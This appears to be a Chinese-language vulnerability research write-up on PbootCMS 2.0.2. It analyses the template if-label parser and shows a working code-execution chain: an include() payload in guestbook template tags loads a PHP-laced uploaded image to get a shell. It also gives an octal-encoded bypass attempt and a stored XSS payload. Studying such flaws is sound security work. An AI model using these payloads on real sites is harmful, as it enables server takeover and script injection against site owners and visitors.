修补代码
代码所在位置/private/var/www/html/cms/PbootCMS2.0.2/apps/home/controller/ParserController.php
parserIfLabel函数的实现代码如下
public function parserIfLabel($content) { $pattern = '/\{pboot:if\(([^}^\$]+)\)\}([\s\S]*?)\{\/pboot:if\}/'; $pattern2 = '/pboot:([0-9])+if/'; if (preg_match_all($pattern, $content, $matches)) { $count = count($matches[0]); for ($i = 0; $i < $count; $i ++) { $flag = ''; $out_html = ''; $danger = false; $white_fun = array( 'date', 'in_array', 'explode', 'implode' ); // 还原可能包含的保留内容,避免判断失效 $matches[1][$i] = $this->restorePreLabel($matches[1][$i]); // 解码条件字符串 $matches[1][$i] = decode_string($matches[1][$i]); // 带有函数的条件语句进行安全校验 if (preg_match_all('/([\w]+)([\\\s]+)?\(/i', $matches[1][$i], $matches2)) { foreach ($matches2[1] as $value) { if ((function_exists($value) || preg_match('/^eval$/i', $value)) && ! in_array($value, $white_fun)) { $danger = true; break; } } } // 不允许从外部获取数据 if (preg_match('/(\$_GET\[)|(\$_POST\[)|(\$_REQUEST\[)|(\$_COOKIE\[)|(\$_SESSION\[)/i', $matches[1][$i])) { $danger = true; } // 如果有危险函数,则不解析该IF if ($danger) { continue; } eval('if(' . $matches[1][$i] . '){$flag="if";}else{$flag="else";}'); if (preg_match('/([\s\S]*)?\{else\}([\s\S]*)?/', $matches[2][$i], $matches2)) { // 判断是否存在else switch ($flag) { case 'if': // 条件为真 if (isset($matches2[1])) { $out_html = $matches2[1]; } break; case 'else': // 条件为假 if (isset($matches2[2])) { $out_html = $matches2[2]; } break; } } elseif ($flag == 'if') { $out_html = $matches[2][$i]; } // 无限极嵌套解析 if (preg_match($pattern2, $out_html, $matches3)) { $out_html = str_replace('pboot:' . $matches3[1] . 'if', 'pboot:if', $out_html); $out_html = str_replace('{' . $matches3[1] . 'else}', '{else}', $out_html); $out_html = $this->parserIfLabel($out_html); } // 执行替换 $content = str_replace($matches[0][$i], $out_html, $content); } } return $content; }
相比之前的版本,这里修复了1.2.1版本中的命令执行,修复方法为过滤eval函数以及对GET,POST,REQUEST过滤。
随手测试一下include,结果如下。
php > var_dump(function_exists("include")); bool(false)
可以看到这里返回的是false,那么我就想利用include来包含文件写shell。
构造payload
先重新来看一下代码
这里是将$matches[1][$i]拼接到eval中的
往上看一下$matches数组。
这里的$content是整个主页的内容,然后通过正则匹配出所有的if标签存入
$matches
,长这个样子。所以可以在留言处填入payload。
因为传入eval中的是
$matches[1][$i]
,然后根据上图,确定payload填入的位置。构造payload如下
{pboot:if(include("./1.php"))}active{/pboot:if}
可以看到这里将引号编码了,但是在第2462行会解码。相关代码如下。
在后台随便找个地方上传图片,图片写入
<?php phpinfo();?>
。payload如下。
{pboot:if(include("./static/upload/image/20191002/1570022767337798.jpg"))}active{/pboot:if}
拿到shell
弯路
由于自己是在debug中调试代码的,所以在查看$matches数组的时候,就没有让他走完for循环,所以只看到了payload经过实体化,而没有注意到会在后来进行解码。所以才有了绕过的想法。绕过的payload为
{pboot:if(1\51include\50\42./static/upload/image/20191002/1570022767337798.jpg\42\51\73if\50true)}active{/pboot:if}
这里利用8进制来绕过实体化,由于注意到了会进行解码,所以我就将解码注释掉了,然而payload就没有执行,但是我本地测试的时候是没有问题的。本地测试代码如下
$a = "1\51include\50\42./2.php\42\51\73if\50true"; // eval('echo 1;'.$a.'echo 2;'); eval('if(' . $a. '){$flag="if";}else{$flag="else";}');
对比源码可知,我本地测试的时候由于使用的是双引号,所以在传入eval中时,编码已经转换为字符,而cms中则没有使用双引号,eval中使用的还是单引号。(就算eval使用的是双引号也不能执行,因为字符串是通过变量传入的,等于说已经执行过一次了,不会再次在双引号中再次执行)
我在源码中将数组打印出如下
但是通过分析cms将留言从数据库取出的过程发现都会经过转码函数的处理,所以感觉会存在存储型的xss。分析构造payload。
再喜获存储型XSS
\x3cscript\x3ealert(\x221111111\x22)\x3b\x3c/script\x3e
原因就在于/private/var/www/html/cms/PbootCMS2.0.2/core/function/handle.php中的stripcslashes函数,cms在取出留言的时候,总会使用stripcslashes函数再处理一下取出的字符,导致xss。
xss和include使用的转义函数并不相同,include因为是在模版标签中,所以使用的是
decode_string
函数,该函数中有解码html的函数,而直接留言的xss使用的则是decode_slashes
函数,并不会解码html编码